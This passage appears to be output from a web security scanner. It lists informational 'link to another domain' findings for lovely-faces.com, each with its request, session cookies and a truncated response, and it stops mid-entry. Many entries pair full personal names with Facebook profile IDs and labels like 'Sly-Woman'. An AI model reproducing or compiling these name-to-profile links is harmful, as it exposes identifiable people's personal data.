...[SNIP]...
<br /><a href=http://www.facebook.com/people/Cristina-DeCraepeo/33412555 target=_new><b>
...[SNIP]...

20.125. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=26713114&v_sex=2&Chris-Sandoval--Easy-Going-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Chris-Sandoval/26713114

Request

GET /index.php?id_face=26713114&v_sex=2&Chris-Sandoval--Easy-Going-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Chris-Sandoval/26713114 target=_new><b>
...[SNIP]...

20.126. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=677442313&.natalia.-.gelabert.--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/natalia-gelabert/677442313

Request

GET /index.php?id_face=677442313&.natalia.-.gelabert.--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/natalia-gelabert/677442313 target=_new><b>
...[SNIP]...

20.127. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=700940590&v_sex=1&Kalynn-Sharum--Sly-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Kalynn-Sharum/700940590

Request

GET /index.php?id_face=700940590&v_sex=1&Kalynn-Sharum--Sly-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20321

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Kalynn-Sharum/700940590 target=_new><b>
...[SNIP]...

20.128. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=533420309&A.david-Velazquez-Latin-American-Easy-Going-

The response contains the following link to another domain:

http://es-la.facebook.com/people/ADavid-Velazquez/533420309

Request

GET /index.php?id_face=533420309&A.david-Velazquez-Latin-American-Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://es-la.facebook.com/people/ADavid-Velazquez/533420309 target=_new><b>
...[SNIP]...

20.129. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=2730684&v_sex=1&Nicki-Warfel--Mild-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Nicki-Warfel/2730684

Request

GET /index.php?id_face=2730684&v_sex=1&Nicki-Warfel--Mild-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20120

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Nicki-Warfel/2730684 target=_new><b>
...[SNIP]...

20.130. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=5202557&v_sex=1&Ashley-Pittman--Smug-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Ashley-Pittman/5202557

Request

GET /index.php?id_face=5202557&v_sex=1&Ashley-Pittman--Smug-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:56:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19060

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Ashley-Pittman/5202557 target=_new><b>
...[SNIP]...

20.131. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=56801128&v_sex=2&Chris-Hartfield--Smug-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Chris-Hartfield/56801128

Request

GET /index.php?id_face=56801128&v_sex=2&Chris-Hartfield--Smug-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:57:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20523

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Chris-Hartfield/56801128 target=_new><b>
...[SNIP]...

20.132. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=44406533&Aashish-Richard--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aashish-Richard/44406533

Request

GET /index.php?id_face=44406533&Aashish-Richard--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:14 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aashish-Richard/44406533 target=_new><b>
...[SNIP]...

20.133. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=332600921&Aj-Velichko--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/AJ-Velichko/332600921

Request

GET /index.php?id_face=332600921&Aj-Velichko--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/AJ-Velichko/332600921 target=_new><b>
...[SNIP]...

20.134. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=675359927&A-B-Shaik-Banafe--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/A-B-Shaik-Banafe/675359927

Request

GET /index.php?id_face=675359927&A-B-Shaik-Banafe--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18844

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/A-B-Shaik-Banafe/675359927 target=_new><b>
...[SNIP]...

20.135. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=625464&v_sex=2&Nelson-Fernandez--Mild-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Nelson-Fernandez/625464

Request

GET /index.php?id_face=625464&v_sex=2&Nelson-Fernandez--Mild-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:05 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19199

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Nelson-Fernandez/625464 target=_new><b>
...[SNIP]...

20.136. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=4704747&v_sex=2&Jim-Kerrigan--Easy-Going-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Jim-Kerrigan/4704747

Request

GET /index.php?id_face=4704747&v_sex=2&Jim-Kerrigan--Easy-Going-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 17825

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Jim-Kerrigan/4704747 target=_new><b>
...[SNIP]...

20.137. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1070590375&Aaron-Brock--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Brock/1070590375

Request

GET /index.php?id_face=1070590375&Aaron-Brock--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:42 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20239

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Brock/1070590375 target=_new><b>
...[SNIP]...

20.138. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=579809839&v_sex=1&Mariana-Sol-Ceriani-Latin-American-Sly-Woman

The response contains the following link to another domain:

http://es-la.facebook.com/people/Mariana-Sol-Ceriani/579809839

Request

GET /index.php?id_face=579809839&v_sex=1&Mariana-Sol-Ceriani-Latin-American-Sly-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:56:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://es-la.facebook.com/people/Mariana-Sol-Ceriani/579809839 target=_new><b>
...[SNIP]...

20.139. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=684862834&v_sex=1&Lauren-Wolf--Mild-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Lauren-Wolf/684862834

Request

GET /index.php?id_face=684862834&v_sex=1&Lauren-Wolf--Mild-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20650

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Lauren-Wolf/684862834 target=_new><b>
...[SNIP]...

20.140. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1262042975&Ale-Torres-Latin-American-Easy-Going-

The response contains the following link to another domain:

http://es-la.facebook.com/people/ALe-Torres/1262042975

Request

GET /index.php?id_face=1262042975&Ale-Torres-Latin-American-Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://es-la.facebook.com/people/ALe-Torres/1262042975 target=_new><b>
...[SNIP]...

20.141. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=47302323&v_sex=1&Virginia-Grey-Wilkerson--Funny-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Virginia-Grey-Wilkerson/47302323

Request

GET /index.php?id_face=47302323&v_sex=1&Virginia-Grey-Wilkerson--Funny-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Virginia-Grey-Wilkerson/47302323 target=_new><b>
...[SNIP]...

20.142. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1347221759&v_sex=1&Mor-Kaduri--Climber-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Mor-Kaduri/1347221759

Request

GET /index.php?id_face=1347221759&v_sex=1&Mor-Kaduri--Climber-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20718

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Mor-Kaduri/1347221759 target=_new><b>
...[SNIP]...

20.143. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1225500314&v_sex=1&Ariel-Levin--Smug-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Ariel-Levin/1225500314

Request

GET /index.php?id_face=1225500314&v_sex=1&Ariel-Levin--Smug-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Ariel-Levin/1225500314 target=_new><b>
...[SNIP]...

20.144. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

